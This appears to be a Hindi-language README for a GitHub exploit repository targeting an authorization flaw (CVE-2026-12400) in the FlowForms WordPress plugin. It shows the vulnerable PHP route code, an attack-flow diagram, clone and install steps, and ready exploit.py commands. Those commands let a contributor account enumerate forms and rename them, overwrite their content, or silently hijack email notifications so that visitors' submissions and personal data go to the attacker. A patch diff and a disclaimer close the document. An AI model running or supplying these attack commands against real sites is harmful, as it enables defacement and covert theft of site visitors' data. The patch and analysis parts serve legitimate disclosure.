
CVE-2026-12400 के लिए प्रमाणित WordPress IDOR शोषण; FlowForms REST फ़ॉर्म आईडी की गणना करता है और फ़ॉर्म सामग्री को संशोधित करता है या ईमेल सूचनाओं को हाईजैक करता है।
| गुण | मान |
|---|
| CVE ID | CVE-2026-12400 |
| CVSS Score | 4.3 — मध्यम |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (उपयोगकर्ता-नियंत्रित कुंजी द्वारा प्राधिकरण बाईपास) |
| Product | FlowForms — WordPress संवादात्मक फ़ॉर्म निर्माता प्लगइन |
| Affected | 1.1.1 तक के सभी संस्करण |
| Fixed In | 1.1.2 में सुधारा गया |
| Researcher | Phantom Hat |
स्रोत कोड विश्लेषण, इनपुट प्रवाह अनुरेखण और पैच अंतर सहित पूर्ण व्हाइट-बॉक्स केस स्टडी:
FlowForms flowforms/v1 नेमस्पेस के अंतर्गत दो REST API एंडपॉइंट उजागर करता है जो कमजोर हैं:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
दोनों URL पथ में एक उपयोगकर्ता-नियंत्रित {id} स्वीकार करते हैं और लक्ष्य फ़ॉर्म के डेटा — नाम, सामग्री, लेआउट, रीडायरेक्ट URL और ईमेल अधिसूचना प्राप्तकर्ताओं को संशोधित करते हैं।
दोनों कमजोर रूट पंजीकरण एक ही दोषपूर्ण permission_callback साझा करते हैं:
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts एक क्षमता है जो योगदानकर्ताओं के पास होती है। {id} पैरामीटर की कभी अनुरोध करने वाले उपयोगकर्ता के स्वामित्व के विरुद्ध जाँच नहीं की जाती — कोई भी प्रमाणित उपयोगकर्ता साइट पर किसी भी फ़ॉर्म ID को लक्षित कर सकता है।
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Authenticate as Contributor
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Harvest REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerate published forms
│<─ HTTP 200 ───────────────────────│ (any accessible form is a target)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Overwrite form name / content
│ with attacker payload ─────>│ ← no owner check
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) Hijack email notifications
│ /settings ─────────────────>│ ← attacker receives all
│<─ { "success": true } ────────────│ future form submissions
│ │
│ All 3 attack vectors confirmed │ (5) Name ✔ Content ✔ Email ✔
| मोड | एंडपॉइंट | प्रभाव |
|---|---|---|
name | /forms/{id} | किसी भी फ़ॉर्म का नाम बदलें — विरूपण, सामाजिक इंजीनियरिंग |
content | /forms/{id} | लेआउट, स्वागत/धन्यवाद स्क्रीन, रीडायरेक्ट URL को अधिलेखित करें |
email | /forms/{id}/settings | नोटिफिकेशन ईमेल का अपहरण — सभी फ़ॉर्म सबमिशन चुपचाप प्राप्त करें |
email मोड सबसे महत्वपूर्ण है। अपहरण के बाद, पीड़ित के संपर्क फ़ॉर्म का हर सबमिशन — आगंतुक PII, संदेश और संपर्क विवरण सहित — चुपचाप हमलावर-नियंत्रित पते पर अग्रेषित कर दिया जाता है। साइट प्रशासक को परिवर्तन का कोई संकेत नहीं दिखता।
योगदानकर्ता भूमिका वाला एक प्रमाणित खाताgit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
किसी भी फ़ॉर्म का नाम हमलावर-नियंत्रित सामग्री में बदलें:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
फ़ॉर्म लेआउट, स्क्रीन, रीडायरेक्ट URL और पृष्ठभूमि छवियों को अधिलेखित करें:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
सभी भविष्य के फ़ॉर्म सबमिशन अधिसूचनाओं को हमलावर-नियंत्रित पते पर रीडायरेक्ट करें:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
| फ़्लैग | संक्षिप्त | विवरण | आवश्यक |
|---|---|---|---|
--url | -u | लक्ष्य WordPress URL | ✅ |
--user | WordPress उपयोगकर्ता नाम (योगदानकर्ता+) | ✅ | |
--password | WordPress पासवर्ड | ✅ | |
--id-start | -i | गणना के लिए प्रारंभिक फ़ॉर्म ID | ✅ |
--num-forms | -n | गणना करने के लिए फ़ॉर्म IDs की संख्या | ✅ |
--exploit | हमला मोड: name / content / email | ✅ | |
--proxy | -p | प्रॉक्सी URL (उदा. http://127.0.0.1:8080) | ❌ |
JSON पेलोड टेम्पलेट (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) स्क्रिप्ट के शीर्ष पर परिभाषित हैं। हमले की सामग्री को अनुकूलित करने के लिए चलाने से पहले उन्हें संपादित करें — अधिसूचना ईमेल पता, रीडायरेक्ट URL, पृष्ठभूमि छवि, फ़ॉर्म शीर्षक आदि बदलें।
# Top of exploit.py
EMAIL_EDIT = json.loads("""{
"settings": {
"email": {
"enabled": true,
"notifications": {
"1": {
"email": "[email protected]", # ← change this
...
}
}
}
}
}""")
एक्सप्लॉइट तीन स्वचालित चरण करता है:
चरण 1 — प्रमाणीकरण
हमलावर (योगदानकर्ता) के रूप में लॉग इन करता है और wp-admin/post-new.php से एक मान्य REST API नॉन्स प्राप्त करता है।
चरण 2 — फ़ॉर्म गणना
निर्दिष्ट ID श्रेणी में GET /flowform/{id} स्कैन करता है। HTTP 200 लौटाने वाले IDs को सुलभ लक्ष्य के रूप में एकत्र किया जाता है — ये साइट पर किसी भी उपयोगकर्ता के प्रकाशित फ़ॉर्म हैं, जिनमें प्रशासक भी शामिल हैं।
चरण 3 — शोषण चयनित मोड के आधार पर, संबंधित पेलोड असुरक्षित REST एंडपॉइंट पर भेजता है:
name / content → POST /flowforms/v1/forms/{id}email → POST /flowforms/v1/forms/{id}/settingsसर्वर अनुरोध स्वीकार करता है और बिना किसी स्वामित्व जाँच के संशोधन लागू करता है।
| कार्रवाई | विवरण |
|---|---|
| पैच | दोनों एंडपॉइंट पर सामान्य edit_posts जाँच को current_user_can('edit_post', $form_id) से बदलें — क्षमता जाँच को विशिष्ट पोस्ट ऑब्जेक्ट से बांधने से WordPress स्वामित्व नियम लागू होते हैं |
| शमन | पैच लगने तक, प्लगइन सक्रिय होने पर योगदानकर्ता और लेखक भूमिकाओं को प्रतिबंधित करें |
// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),
// SECURE (patched)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py # समृद्ध UI के साथ पॉलिश किया गया एक्सप्लॉइट (3 मोड)
├── requirements.txt # Python निर्भरताएँ
└── README.md # यह फ़ाइल
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच दुनिया भर में लागू कानूनों के तहत अवैध है। लेखक इस सॉफ़्टवेयर के दुरुपयोग के लिए कोई उत्तरदायित्व नहीं लेता है। किसी भी ऐसे सिस्टम का परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें जिसके आप मालिक नहीं हैं।
Phantom Hat — स्वतंत्र सुरक्षा शोधकर्ता
यह शोध जिम्मेदार भेद्यता प्रकटीकरण के भाग के रूप में आयोजित किया गया था।